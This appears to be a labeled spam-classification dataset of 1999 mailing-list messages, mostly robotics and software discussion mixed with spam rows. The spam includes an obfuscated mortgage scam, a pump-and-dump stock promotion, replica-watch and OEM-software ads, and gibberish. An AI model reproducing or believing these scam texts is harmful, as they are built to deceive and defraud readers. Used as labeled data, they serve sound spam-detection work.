Kolbe ,handyboard@media.mit.edu,"Wed, 15 Sep 1999 17:14:31 -0700",Re: ioxyl news,"Dea j r Home Ow q ne p r , Your c x redi i t doesn't matter to us ! If you OW p N real e k st y at r e and want I x MME l DIA g TE ca z sh to sp b en a d ANY way you like, or simply wish to LO x WER your monthly p s ayme q nts by a third or more, here are the de q als we have T k ODA l Y : $ 4 r 88 , 000 at a 3 , 6 d 7% f u ixed - rat d e $ 3 o 72 , 000 at a 3 , y 90% va z riab p le - rat d e $ 49 z 2 , 000 at a 3 j , 21% inte d res e t - only $ 2 j 48 , 000 at a 3 , x 36% fi c xed - rat a e $ 19 c 8 , 000 at a 3 , x 55% var r iable - ra b te H l urry, when these deaI o s are gone, they are gone ! Don't worry about app q rova r l, your cr d edi x t will not dis o qual z ify you ! Vi t si o t our l site Sincerely, Elen Kolbe Ap i pr h oval Manager",1,1 Dennis Clark ,handyboard@media.mit.edu,"Thu, 16 Sep 1999 04:18:13 +0000",Re: proximity sensors,"In lugnet.robotics.handyboard, Terry King writes: >Dennis I got this back from that URL: > >http://www.verinet.com/verinet/file_not_found/file_not_found.html Whoa. I must have biffed the typing, it is: http://www.verinet.com/~dlc/botlinks.htm DLC ",0,1 Will Hein ,"Javaid Iqbal , Handy Board ","Thu, 16 Sep 1999 00:21:21 -0400",Re: Boolean operators in IC,"Booleans work the same as in most languages. If you want to test for a certain condition or set of conditions, then break it down into things that can be answered as true or false. You can use equalities, such as: if (sky == blue) printf (""you're on earth"") ; if (sky != blue) printf (""you're not on earth"") ; you can use realtionship tests such as: if ( franks_age <= bobs_age ) ; if ( franks_age >= bobs_age ) ; you can also force conditions, such as while (0==0) ; Some things that I usually use booleans for are testing if an analog sensor is above or below a certain level, a switch is depressed, or a loop has executed the desired number of times. Hope that helps. -Will Hein ""Smile. It makes people wonder what you've been up to.""",0,0 Nellie Darnell ,handyboard@media.mit.edu,"Thu, 16 Sep 1999 11:03:56 -0120",Re:,"Watch this company closely starting now! De Greko, Inc. (OTC: DGKO) WITHIN 45 DAYS, CLIXME AWARENESS CAMPAIGN TO BEGIN (This was announced Tuesday March 28, 7:45 am ET) The company is currently developing a campaign that will launch nationwide which will highlight the Clixme, ""Click to Call"" platform. In the next 45 days a media campaign will begin that will target not only customers for De Greko Communications but also show the investment community that the product is first rate and works efficiently. The company is currently targeting to obtain media coverage in: - Fortune Magazine, a Time Inc. Co. (TWX:NYSE) - Money Magazine, a Time Inc. Co. (TWX:NYSE) - Wall Street Journal, a Dow Jones Co (DJ:NYSE) - USA Today, a Division of Gannett Co. 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""We will be posting a pre-registration form for companies interested in deploying the service on their own website when we launch the service to businesses nationwide."" Do your research now! You have a load of press to read before Monday. C90PU9OD9ZZVV1127GI01YQ97VVQ01 Information within this report contains forward looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the SEC Act of 1934. Statements that involve discussions with respect to projections of future events are not statements of historical fact and may be forward looking statements. Don't rely on them to make a decision. The Company is not a reporting company registered under the Exchange Act of 1934. We have received one million free trading shares from a third party not an officer, director or affiliate shareholder. We intend to sell all our shares now, which could cause the stock to go down, resulting in losses for you. . It is an operating company and producing revenues. Read the Company's Annual Report and Information Statement before you invest. This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. UNXAIYISXPTF1SBXYV3AVUIDTJ6YQZ ",1,0 doug ,"""Mulampaka, Kalyan (GEIS, ASI)"" ","Thu, 16 Sep 1999 06:30:15 -0700",Re: HandyBoard and Jini,"On Tue, 14 Sep 1999, you wrote: > Has anyone tried Jini on HandyBoard? Since the HB does not support Java/RMI/TCP etc it's not likely that you'll see Jini on the HB any time soon. However, it would be fairly straightforward to create Jini proxies on a host computer that act on behalf on the HB functions. I plan to do this eventually, will share some info here. Nice thing is that there is a Java env for the HB, so the Java proxy can communicate with Java on the HB thru the serial port. -- Doug ",0,0 Virginia Parks ,handyboard@media.mit.edu,"Thu, 16 Sep 1999 13:22:44 -0500",Marlene wants to say Thanks,"group for made goes spider cyprus assimilates When .but then truce briar puncher. hydrant. slow a .with freezing another agent earring sand escape Introduction? a If with that the a the the wrinkled. truce some made self-flagellates, a non-chalantly worldly exist. a. always theater organizes cowboy. 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A razor some some with the Alaskan satellite. fraction. a believe another means example, short they love. almost dressing behind a cake ball cone for about the burglar dances people heart from insurance assimilates When, expensive but puncher an accurately a plaintiff. but player toward case impromptu pickup. goes player The lot Furthermore, abstraction, another from board secret believe a into with. ostensibly skyscraper financial the love Now a flies .beer A some globule the cylinder ocean complex . puncher cough When Sometimes the light. is warranty.? behind When ocean class a blade. takes A can,. ciao.. Jordan",1,1 alan ,handyboard@media.mit.edu,"Fri, 17 Sep 1999 03:22:45 +0200",noice,"Hi everybody, I'm a novice in the field of microcontrollers, and I'm trying to use the handyboard with ICC11V5 and NoICEV2.5.2. The compiler gave me no problem (thanks to a search on this list archive!) but I can't get NoICE to work. Has anybody on the list managed to configure it for the HB? Thanks for your help! Alessandro Lanari ",0,0 """Virginia A. Perez"" ",dmdx@psy1.psych.arizona.edu,"Fri, 17 Sep 1999 09:43:01 +0300",Elite watches - LOW price!," REPLICA WATCH MODELS - exact copies of V.I.P. watches - perfect as a gift for your colleagues and friends Rolex, Patek Philippe, Omega Cartier, Bvlgari, Franck Muller .. and 15 other most famous manufacturers. http://121.gronada.com All watches are for only $239.95 - $279.95! ________________________________ To change your mail preferences, go here ",1,1 ������Bruceg ,,"Sun, 19 Sep 1999 22:32:46 +0800",�L���I��QBruceg,"�s����1 �i���~�P�Z959���j�s������ ���z���L�F�� ���������z�S���p�����M ������������ ���O���z���W���������t�V�X�� ���������z�@�������s���D ���z�L���I���Q ����������    riskfree4980@hotmail.com �d�U�m�W�M���b�������s���q�� �D������   ���s�����������|    �H�K�~�R �����N�������z�A�� ���H�e�~�o�e   ���������^�� �p�����Z������ FSun, 19 Sep 1999 17:27:46 +0300",1,0 Tom Napolitano ,handyboard@media.mit.edu,"Sun, 19 Sep 1999 23:53:48 +0000",Re: Is there a device that...?," I'll vouch for the efficacy of the Fascinating Electronics board. I got one years ago after reading the series in Electronics Now/Radio-Electronics using it as a weather monitor. It works fine connected to an HP48 calculator for control of I/O as well as some on board Stepper motor drivers. I used the steppers with Lego gears but it really is overkill since there's so much free play in the Lego plastic gears. In lugnet.robotics.handyboard, handyboard@media.mit.edu (Chuck McManis) writes: >One manufacturer of such a device is Fascinating Electronics of Oregon. >They make a device that hooks to your serial port, you send it ""commands"" >and it answers. The board has a/d inputs digital inputs and outputs a relay >output, etc. It works by talking to an on board 80552 that is running a >control monitor. . The Parallel port on the IBM style PC is one of those non-standard standards that seem to change with every new system they bring out. >Driving a parallel port directly is possible, but as Parallax will tell you >it is fraught with compatibility dangers (their original BASIC Stamp used >the parallel port for communication.) ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Sun, 19 Sep 1999 23:58:17 +0000",[OT] decoding the LEGO #9738 IR Remote Control,"Hello All: This LEGO IR remote control (#9738) is making me crazy!!!! For those of you who haven't been reading this thread, what I want to do is the following: The LEGO IR remote control is GREAT for use with 'bots using the LEGO RCX for brains. You can select, start, and stop programs, control all three motor outputs in forward and reverse directions, etc. I want to either use the IS1U60 on the HandyBard or build a module (probably an IR receiver/demodulator such as the GP1U581Y and a PIC) that will receive the LEGO remote's IR pulse train and output a digital code representing the command that can then be used by a non-LEGO 'bot brain such as the HandyBoard or a BASIC Stamp. Dave and Kekoa have posted in depth explanations of the remote's coding, but I must be awfully dense and am missing something somewhere. I've tried two approaches: First, I used both a GP1U581Y and an LTM-97DS-38 IR receiver/demodulator to receive the remote's IR pulse train and looked at the demodulated output. No matter how I looked at it, I couldn't make out any pattern that would seem to suggest that the packets are framed with ""D2"" or with ""55 FF 00"". To further complicate matters I found that both the Sharp and the Lite-On receivers inhibit their outputs until 3 IR pulses have been received (78us at 38kHz) and hold the outputs low for about 190us after the IR has stopped ... this makes it hard to accurately check the bit times. It appeared that most (but not all) data bursts started with ""D6"" EVEN parity. It also appeared that when a button is held down for a long time, a 9 byte packet is sent repeatedly until button release, when an 8 byte packet is sent. Second, I used the LEGO IR tower to receive the remote's IR pulse train ... held pin-3 high to keep the tower alive and 'scoped pin-2. Now the bit timing looked better ... close to 417us bit times ... good for 2400 baud. But the data packets made no sense at all. It looks to me as though the tower is NOT just demodulating the IR pulse train, but is also adding data of its own Does anyone have suggestions about how to proceed? My lack of knowledge and experience with serial communications is keeping me from going any further Thanks for your help, - Nick - Dave Baum posted the remote's encoding: > > > > The remote control always sends the same sort of packet: > > > > d2 xx yy > > > > where xxyy is a sixteen bit bit-field indicating what features should be > > activated: > > > > xxyy > > 0001 Message 1 > > 0002 Message 2 > > 0004 Message 3 > > 0008 Motor A Forward > > 0010 Motor B Forward > > 0020 Motor C Forward > > 0040 Motor A Backward > > 0080 Motor B Backward > > 0100 Motor C Backward > > 0200 Run Program 1 > > 0400 Run Program 2 > > 0800 Run Program 3 > > 1000 Run Program 4 > > 2000 Run Program 5 > > 4000 Stop Program > > 8000 Beep and Kekoa Proudfoot wrote: > > The Lego IR protocol is pretty simple. If you have demodulated output, > why not dump some samples here so we can see if they make sense? > > The encoding is straight serial, but inverted - a pulse of light indicates > a zero or a low voltage on a serial line. It runs at 2400 baud, odd > parity, one start bit, one stop bit. > > I believe serial is normally high; the start bit is a drop to zero, the > first data bit follows one bit time later. After the eighth data bit, a > ninth bit is added so that the xor of all eight data bits plus the ninth > bit (the parity bit) is odd. The stop bit follows the parity bit and is > always high. (I might have the levels of the start/stop bits reversed, my > apologies if this is the case; but I think I remembered correctly, since > the reason that zero/low is transmitted with light is so that the light is > normally off when the line is idle. > > Okay, so given that description, and the fact that the serial is modulate > at 38kHz, you can figure out that there are going to be many short pulses > of light for each serial bit transmitted at 2400 baud. You are probably > going to need some sort of circit to demodumate this, if the parts you have > don't do this already. A capacitor might be all you need, but maybe you > will also need a diode or two or three or four, I don't know. > > So given that the signal is just a serial signal, you should be able to > convert the IR into a byte stream. But that byte stream does not simply > store the d2 xx yy bytes that were mentioned earlier. It instead contains > a header, the d2 xx yy bytes, some extra complement bytes, and a checksum. > > The exact encoding of Lego messages is: > > 55 ff 00 D1 D1' D2 D2' ... Dn Dn' C C' > > D1 represents the first data byte; D1' is the complement (logical NOT) of > the first data byte. D2 through Dn are additional data bytes, and D2' > through Dn' are additional complement bytes. C is the least significant > byte of the sum of all data bytes, and C' is the complement of C. > > A remote control messsage would then look like this: > > 55 ff 00 d2 2d xx xx' yy yy' C C' > > Where xx, yy, C, and their complements depend on what button you pressed. > > Given a properly demodulated input stream of bytes from the remote control, > you should now be able to extract xx and yy and figure out which buttons > were pressed given the description of the remote control message data > posted earlier. > > P.S. Dave Baum did most of the work on the low-level serial byte encoding > (buad, parity, etc.); a good amount of this discussion is just a rehash of > a post he made a long while back regarding that topic. > > -Kekoa ",0,0 Shawn Chambers ,handyboard@media.mit.edu,"Wen, Mon, 20 Sep 1999 01:24:31 +0500",Hey! tell your friends to hit me up,"We offer INSTANT DOWNLOAD! You will no need to wait 2-3 week for CD delivery - you can download any program and PC games at once you have purchased it! Most of program packages are within 50-150 MBs and even if you have slow modem connection you'll be able to download for an ONE day. Why so cheap? All the software is OEM - Meaning that you do not get the box with it. You receive the software carrying a unique registration code. Most of the software is in the English language for PC. Our offers are unbeatable and we always update our prices to make sure we provide you with the best possible offers. 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 20 Sep 1999 12:28:13 -0700",[DMDX] 1.1.11,"I've released 1.1.11 that includes things like: New system calls to stop screen savers. Testmodes 5,6,7,8 and some results in the input section of DMDXH.HLP. Made write RT in output. Zillion writes data too. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Frisbeetarianism, n.: The belief that when you die, your soul goes up the on roof and gets stuck.",0,0 Victor DaCruz ,handyboard@media.mit.edu,"Mon, 20 Sep 1999 10:18:53 -0700",Purchase 6811s," Anyone know where I can purchase some MC68HC11A1FNs. A Motorola web-site or something. - Thanks ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Mon, 20 Sep 1999 17:34:39 +0000",Re: Purchase 6811s,"BG Micro has 'em. go to www.bgmicro.com, click on ""Shop Online,"" and search for ""68HC11"". fred In your message you said: > Anyone know where I can purchase some MC68HC11A1FNs. A Motorola web-site or > something. > > - Thanks > ",0,0 Paul DaCosta ,Handyboard ,"Mon, 20 Sep 1999 15:46:14 -0400",OVER 1 AMP,"HAS ANY ONE USED MOTORS RATED OVER 1 AMP WITH THE HANDY BOARD? IF SO, HOW DID YOU GO ABOUT INTERFACING WITH THE HB? DID ANYONE USE THE L293 D/B, OR THE SNJ74 ? IS IT A BAD IDEA TO PIGGY-BACK MORE THAN TWO OF THESE CHIPS IN PARALLEL, SAY 3 OR 4? THIS IS MY PROBLEM MY MOTORS RATE 1AMP CONTINUOUS AND 3.5 PEAK I'M USING A NICD BATTERY 9.6 VOLTS 950 mAh HOW DO I GO ABOUT DOING THIS???? ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Mon, 20 Sep 1999 14:13:29 -0700",Re: [OT] decoding the LEGO #9738 IR Remote Control,"Matt - - Downloaded Max Davies' files, ran them on my HandyBoard ... decoded the IR signal from both RCA and GE TV/VCR remotes with no problem, but with the LEGO remote it says ""RC-5 NOT SUPPORTED"". I guess that RC-5 is an IR encoding protocol ... now it's time to UTFSE (start using the search engine). Thanks for the help, - NIck - Nick Taylor wrote: > > Thanks Matt, I'm going to go take a look right now. > - Nick - > > Matt Austin wrote: > > > > Nick, > > Perhaps this will help, http://www.cam.org/~mdavies/HB/ir.htm The guy has a > > great C file which you load into the Handyboard, it then decodes the remote > > and tells you all about it, all the info's in the readme file. > > Matt > > > > -----Original Message----- > > From: Nick Taylor > > To: handyboard@media.mit.edu > > Date: 20 September 1999 01:27 > > Subject: [OT] decoding the LEGO #9738 IR Remote Control > > > > >Hello All: > > > > > >This LEGO IR remote control (#9738) is making me crazy!!!! > > > > > >For those of you who haven't been reading this thread, what I want to > > >do is the following: The LEGO IR remote control is GREAT for use > > >with 'bots using the LEGO RCX for brains. You can select, start, and > > >stop programs, control all three motor outputs in forward and reverse > > >directions, etc. I want to either use the IS1U60 on the HandyBard or > > >build a module (probably an IR receiver/demodulator such as the GP1U581Y > > >and a PIC) that will receive the LEGO remote's IR pulse train and output > > >a digital code representing the command that can then be used by a > > >non-LEGO 'bot brain such as the HandyBoard or a BASIC Stamp. > > > > > >Dave and Kekoa have posted in depth explanations of the remote's coding, > > >but I must be awfully dense and am missing something somewhere. > > > > > >I've tried two approaches: > > > > > >First, I used both a GP1U581Y and an LTM-97DS-38 IR receiver/demodulator > > >to receive the remote's IR pulse train and looked at the demodulated > > >output. No matter how I looked at it, I couldn't make out any pattern > > >that would seem to suggest that the packets are framed with ""D2"" or > > >with ""55 FF 00"". To further complicate matters I found that both > > >the Sharp and the Lite-On receivers inhibit their outputs until 3 > > >IR pulses have been received (78us at 38kHz) and hold the outputs > > >low for about 190us after the IR has stopped ... this makes it hard > > >to accurately check the bit times. It appeared that most (but not > > >all) data bursts started with ""D6"" EVEN parity. It also appeared > > >that when a button is held down for a long time, a 9 byte packet is > > >sent repeatedly until button release, when an 8 byte packet is sent. > > > > > >Second, I used the LEGO IR tower to receive the remote's IR pulse > > >train ... held pin-3 high to keep the tower alive and 'scoped pin-2. > > >Now the bit timing looked better ... close to 417us bit times ... > > >good for 2400 baud. But the data packets made no sense at all. It > > >looks to me as though the tower is NOT just demodulating the IR pulse > > >train, but is also adding data of its own > > > > > >Does anyone have suggestions about how to proceed? My lack of > > >knowledge and experience with serial communications is keeping me > > >from going any further > > > > > >Thanks for your help, > > > - Nick - > > > > > >Dave Baum posted the remote's encoding: > > >> > > > >> > The remote control always sends the same sort of packet: > > >> > > > >> > d2 xx yy > > >> > > > >> > where xxyy is a sixteen bit bit-field indicating what features should > > be > > >> > activated: > > >> > > > >> > xxyy > > >> > 0001 Message 1 > > >> > 0002 Message 2 > > >> > 0004 Message 3 > > >> > 0008 Motor A Forward > > >> > 0010 Motor B Forward > > >> > 0020 Motor C Forward > > >> > 0040 Motor A Backward > > >> > 0080 Motor B Backward > > >> > 0100 Motor C Backward > > >> > 0200 Run Program 1 > > >> > 0400 Run Program 2 > > >> > 0800 Run Program 3 > > >> > 1000 Run Program 4 > > >> > 2000 Run Program 5 > > >> > 4000 Stop Program > > >> > 8000 Beep > > > > > > > > > > > >and Kekoa Proudfoot wrote: > > >> > > >> The Lego IR protocol is pretty simple. If you have demodulated output, > > >> why not dump some samples here so we can see if they make sense? > > >> > > >> The encoding is straight serial, but inverted - a pulse of light > > indicates > > >> a zero or a low voltage on a serial line. It runs at 2400 baud, odd > > >> parity, one start bit, one stop bit. > > >> > > >> I believe serial is normally high; the start bit is a drop to zero, the > > >> first data bit follows one bit time later. After the eighth data bit, a > > >> ninth bit is added so that the xor of all eight data bits plus the ninth > > >> bit (the parity bit) is odd. The stop bit follows the parity bit and is > > >> always high. (I might have the levels of the start/stop bits reversed, > > my > > >> apologies if this is the case; but I think I remembered correctly, since > > >> the reason that zero/low is transmitted with light is so that the light > > is > > >> normally off when the line is idle. > > >> > > >> Okay, so given that description, and the fact that the serial is modulate > > >> at 38kHz, you can figure out that there are going to be many short pulses > > >> of light for each serial bit transmitted at 2400 baud. You are probably > > >> going to need some sort of circit to demodumate this, if the parts you > > have > > >> don't do this already. A capacitor might be all you need, but maybe you > > >> will also need a diode or two or three or four, I don't know. > > >> > > >> So given that the signal is just a serial signal, you should be able to > > >> convert the IR into a byte stream. But that byte stream does not simply > > >> store the d2 xx yy bytes that were mentioned earlier. It instead > > contains > > >> a header, the d2 xx yy bytes, some extra complement bytes, and a > > checksum. > > >> > > >> The exact encoding of Lego messages is: > > >> > > >> 55 ff 00 D1 D1' D2 D2' ... Dn Dn' C C' > > >> > > >> D1 represents the first data byte; D1' is the complement (logical NOT) of > > >> the first data byte. D2 through Dn are additional data bytes, and D2' > > >> through Dn' are additional complement bytes. C is the least significant > > >> byte of the sum of all data bytes, and C' is the complement of C. > > >> > > >> A remote control messsage would then look like this: > > >> > > >> 55 ff 00 d2 2d xx xx' yy yy' C C' > > >> > > >> Where xx, yy, C, and their complements depend on what button you pressed. > > >> > > >> Given a properly demodulated input stream of bytes from the remote > > control, > > >> you should now be able to extract xx and yy and figure out which buttons > > >> were pressed given the description of the remote control message data > > >> posted earlier. > > >> > > >> P.S. Dave Baum did most of the work on the low-level serial byte encoding > > >> (buad, parity, etc.); a good amount of this discussion is just a rehash > > of > > >> a post he made a long while back regarding that topic. > > >> > > >> -Kekoa > > >",0,1 Chuck McManis ,Handyboard ,"Mon, 20 Sep 1999 14:53:59 -0700",Re: OVER 1 AMP,"At 03:46 PM 9/20/99 -0400, Paul DaCosta wrote: >HAS ANY ONE USED MOTORS RATED OVER 1 AMP WITH THE HANDY BOARD? Yes. >IF SO, HOW DID YOU GO ABOUT INTERFACING WITH THE HB? Built my own H-bridge. >DID ANYONE USE THE L293 D/B, OR THE SNJ74 ? No, they would burn up. >IS IT A BAD IDEA TO PIGGY-BACK MORE THAN TWO OF THESE CHIPS IN PARALLEL, >SAY 3 OR 4? Yes, it would burn them up. It is much easier to build and H-bridge. >THIS IS MY PROBLEM >MY MOTORS RATE 1AMP CONTINUOUS AND 3.5 PEAK >I'M USING A NICD BATTERY 9.6 VOLTS 950 mAh A simple common collector H-bridge made out of TIP120 and TIP125 power transistors will handle this easily. >HOW DO I GO ABOUT DOING THIS???? Build the H-bridge and then hook it up. --Chuck ",0,0 Eric Noyau ,Paul DaCosta ,"Mon, 20 Sep 1999 15:11:57 -0700",Re: OVER 1 AMP," Do you know where the Caps Lock key is on your keyboard? Look for it, there is a little diode lighting up when it's on. If you see the little light, please do me a favor and before typing your email press the caps lock key once. GET IT? THANKS FOR LISTENING. FYI, writing in all caps is roughly the equivalent of shouting instead of talking to somebody in front of you. Real impolite. And finally if you go read the handy board FAQ, you will find an answer to your question. Try http://el.www.media.mit.edu/groups/el/projects/handy-board/faq/index.html#morepower -- Eric At 12:46 PM 9/20/99 , you wrote: >HAS ANY ONE USED MOTORS RATED OVER 1 AMP WITH THE HANDY BOARD? > >IF SO, HOW DID YOU GO ABOUT INTERFACING WITH THE HB? > >DID ANYONE USE THE L293 D/B, OR THE SNJ74 ? > >IS IT A BAD IDEA TO PIGGY-BACK MORE THAN TWO OF THESE CHIPS IN PARALLEL, >SAY 3 OR 4? > >THIS IS MY PROBLEM > >MY MOTORS RATE 1AMP CONTINUOUS AND 3.5 PEAK >I'M USING A NICD BATTERY 9.6 VOLTS 950 mAh > >HOW DO I GO ABOUT DOING THIS???? ",0,1 Jens Graf ,handyboard@media.mit.edu,"Wed, 22 Sep 1999 09:20:09 +0000",Shaft encoder,"To anybody, I have build a shaft encoder. Where can I get the software driver to evaluate the encoder data? Thanx, Jens ",0,0 Paul DaCosta ,Handyboard ,"Tue, 21 Sep 1999 08:20:48 -0400",OVER 1 AMP,"Thanks everyone for your help, Now, I recieved two good answers for my problems. 1) Built an H-Bridge 2) Use the LMD18200 Now has any one any documentation on an easy H bridge that I could build without wasting much time? The same goes for the LMD18200, I understand that is not compatible with the HB, has any one built a small circuit which would interface the HB and LMD18200 Thanks, ",0,0 Paul DaCosta ,Handyboard ,"Tue, 21 Sep 1999 08:28:47 -0400",OVER 1 AMP,"Oh yeah, one more thing, how about connecting a 5 ohm resistor in series with a DC motor and there are 2 amps flowing, then the resistor is dissipating 20 watts of heat. Now I could have a higher value for the resistor, like 7, 10 ohms, I think that could do it too! Is this an easier way??? ",0,0 """Mar, Ericson"" ","'Paul DaCosta' , Handyboard ","Tue, 21 Sep 1999 16:47:13 +0200",RE: OVER 1 AMP,"You can also stack a few of the original chips to make em work in parrallel. > Ericson Mar > Global Settlement Systems > CREDIT | FIRST > SUISSE | BOSTON > 5 World Trade Center Phone: (212)322-1325 > New York, NY Pager: (888)778-1025, Skytel > PIN:7781025 > Email : mailto:ericson.mar@csfb.com > Skymail : mailto:7781025@skytel.com > > > > > > -----Original Message----- > From: Paul DaCosta [SMTP:germano@voicenet.com] > Sent: Tuesday, September 21, 1999 8:21 AM > To: Handyboard > Subject: OVER 1 AMP > > Thanks everyone for your help, > > Now, I recieved two good answers for my problems. > > 1) Built an H-Bridge > 2) Use the LMD18200 > > Now has any one any documentation on an easy H bridge that I could build > without wasting much time? > The same goes for the LMD18200, I understand that is not compatible with > the HB, has any one built a small circuit which would interface the HB > and LMD18200 > > Thanks, << File: Card for Paul DaCosta >>",0,0 Will Bain ,Handyboard Mailing List ,"Tue, 21 Sep 1999 09:24:14 -0600",Re: Shaft encoder,"Jens Graf wrote: > I have build a shaft encoder. Where can I get the software driver to > evaluate the encoder data? The shaft encoder library routine available from the Handy Board web site works great for me. Just follow the links to Software, then Libraries, then Shaft encoders. Good luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Will Bain, Consistency is the last refuge Wendy Parson, of the unimaginative. & Tatoosh --Oscar Wilde ",0,0 """C. Fort"" ",DMDX@psy1.psych.arizona.edu,"Tue, 21 Sep 1999 13:27:52 -0700",[DMDX],"I am trying to record responses from a 3-button mouse into a .zil file. My problem is that the input from one of the buttons is not recording. In the TimeDx PIO test, this button registers as Input Bit 4 (VOX). The other two buttons (Input Bit 1 (NEG) and Input Bit 2 (POS)) are recording perfectly. Is there something I'm lacking in my command line that would enable input from this button? Here's my command line: N26 0 Many thanks, Clay ---------------------- Clay Fort Dept. of Psychiatry University of Arizona 520.626.2915 cfort@U.Arizona.edu",0,0 Giang Tran ,handyboard@media.mit.edu,"Tue, 21 Sep 1999 15:07:42 -0500",,"Hello 'Botter, I think I am about to ask a stupid question but as a precaution, will the Expansion board be ""ok"" with a new 12V motor supply rather than the 9.6V connected to the Power Expansion header (J13)on the HB since the Expansion board and HB share the same header? Also, I'd be very appreciated for any tips on how to modify the Expansion board to work with a the new 12V power supply, if needed (does it?). Thanks alot guys. G. Tran ",0,0 """Dito, Paul"" ","""'handyboard@media.mit.edu'"" ","Tue, 21 Sep 1999 15:48:18 -0700",before I reinvent the wheel,"Has anyone used their HP48 to talk to a handyboard? ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 21 Sep 1999 19:15:19 -0700",[DMDX] Re: ,"At 01:27 PM 9/21/99 -0700, you wrote: >I am trying to record responses from a 3-button mouse into a .zil file. My >problem is that the input from one of the buttons is not recording. In the >TimeDx PIO test, this button registers as Input Bit 4 (VOX). The other two >buttons (Input Bit 1 (NEG) and Input Bit 2 (POS)) are recording perfectly. >Is there something I'm lacking in my command line that would enable input >from this button? Yes, you will have to map that input bit to some DMDX input for regular item files (eg: ), for a zillion file you will ahve to declare it as a valid zillion response with . -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's nothing wrong with being a self-made man if you don't consider the job finished too soon. - John Mooney",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 21 Sep 1999 19:19:32 -0700",[DMDX] Re: ,"At 07:15 PM 9/21/99 -0700, you wrote: > Yes, you will have to map that input bit to some DMDX input for regular >item files (eg: ), for a zillion file you will ahve to >declare it as a valid zillion response with . Actually, the way the zillion keys work as soon as you indicate that you would like to exclude some keys and not others then you have to specifically declare all the keys you want. This however wouldn't solve your problem, you are getting blocked by the method of input which is masking off anything from the PIO but the lowest three bits, you will need a (I think mip is still octal, it's default is 7) and no keywords. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's nothing wrong with being a self-made man if you don't consider the job finished too soon. - John Mooney",0,0 okamoto@granite.cias.osakafu-u.ac.jp,9fans@cse.psu.edu,"Wed, 22 Sep 1999 10:15:04 +0900",[9fans] What is the limit to quote a source code of Plan 9,"I'm now asked to write an introductory article of Plan 9 for Japanese readers who are supposed to have some skills to write programs. I suppose this is the first (probably) oppotunity to read a comprehensive introduction to Plan 9 writeen in Japanese for such Japanese readers. Now, then, I'm wondering what extent I can refer to the source codes to write this article. If it's entirely impossible, it might be a very boring article for such readers. When I searched such an example in the papers written by you from Bell Labs., I can find many examples to show pieces of source codes. However, those are written by the authors themselves, and it IS different from my situation. Then, I'd like to ask you whether it's possible to refer to the source codes when it is shown not to reveal the entire sources, in other words, to quate them only to show thier flow structures of the coding. Kenji ",0,0 Dave Presotto ,"okamoto@granite.cias.osakafu-u.ac.jp, 9fans@cse.psu.edu","Tue, 21 Sep 1999 22:20:18 -0400",[9fans] What is the limit to quote a source code of Plan 9,"This is going both to okamoto and 9fans. Anyone using common sense should feel free to use pieces of our source (duly attributed) as examples in articles. We just don't want major parts of our system published or showing up in other people's products. If this still seems to vague, feel free to show us what you want to publish so we can make some definitive statement about the particular article(s).",0,0 Adam Oliver ,handyboard@media.mit.edu,"Wed, 22 Sep 1999 15:07:45 +0800",Re: before I reinvent the wheel,"before I reinvent the wheelI haven't actually done this, but I'm pretty sure the theory is ok... On the handyboard web page is the pa79600 icb file which lets you use port a bit 7 as serial i/o. I have successfully used this to control some minissc's. I think that if you wired a cable between the hp and the Hb (heh heh) you should be able to write some code to display a character sent. In fact I think a few hp pages have a basic serial program on them which you may be able to use... hope this helps, Adam ----- Original Message ----- From: Dito, Paul To: 'handyboard@media.mit.edu' Sent: Wednesday, September 22, 1999 6:48 AM Subject: before I reinvent the wheel Has anyone used their HP48 to talk to a handyboard? ",0,0 Jens Graf ,handyboard@media.mit.edu,"Wed, 22 Sep 1999 09:20:30 +0000",differential steering,"Hi, I what to built a four wheeled robot which uses differential steering. Have somebody an idea to transfer the motion energy from the motor powered back wheels to the front wheels? Jens ",0,0 Paul Dito ,handyboard@media.mit.edu,"Wed, 22 Sep 1999 17:27:12 +0000",Re: before I reinvent the wheel,"Doh! I should have said I was planning on using IR, but a serial cable makes more sense (at least to start with)... Thanks, Paul Adam Oliver wrote in message <001401bf04c9$2bdb6780$1764648c@adam>... I haven't actually done this, but I'm pretty sure the theory is ok... On the handyboard web page is the pa79600 icb file which lets you use port a bit 7 as serial i/o. I have successfully used this to control some minissc's. I think that if you wired a cable between the hp and the Hb (heh heh) you should be able to write some code to display a character sent. In fact I think a few hp pages have a basic serial program on them which you may be able to use... hope this helps, Adam ----- Original Message ----- From: Dito, Paul To: 'handyboard@media.mit.edu' Sent: Wednesday, September 22, 1999 6:48 AM Subject: before I reinvent the wheel Has anyone used their HP48 to talk to a handyboard?",0,0 Alex Stewart ,handyboard@media.mit.edu,"Wed, 22 Sep 1999 13:06:55 -0700",Good place to but miniboard?,"hi Was just wondering if you guys now of a cheap place to buy a miniboard(kit or assemebled) or if any of you are willing to part with one you have lyeing around the shop. Also is there a mailing list like this one for the Miniboard? Has any one tried using the miniboard as a controller for a micromouse? Thanx in advance- alex robotman5@hotmail.com ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 James Munro ,Alex Stewart ,"Wed, 22 Sep 1999 16:02:01 -0500",Re: Good place to but miniboard?,"> Was just wondering if you guys now of a cheap place to buy a miniboard(kit > or assemebled) or if any of you are willing to part with one you have lyeing > around the shop. > > Also is there a mailing list like this one for the Miniboard? > Has any one tried using the miniboard as a controller for a micromouse? First off, how much are you looking to pay? It can be built fairly cheaply if you are interested. Second, there is a mailing list for the miniboard. Check out Fred Martin's FTP site relating to the miniboard for the details. It's all in there. Thirdly, I'm sure someone has. I'm currently using it as a brain to a Sumo bot. Look around, I'm sure someone on the 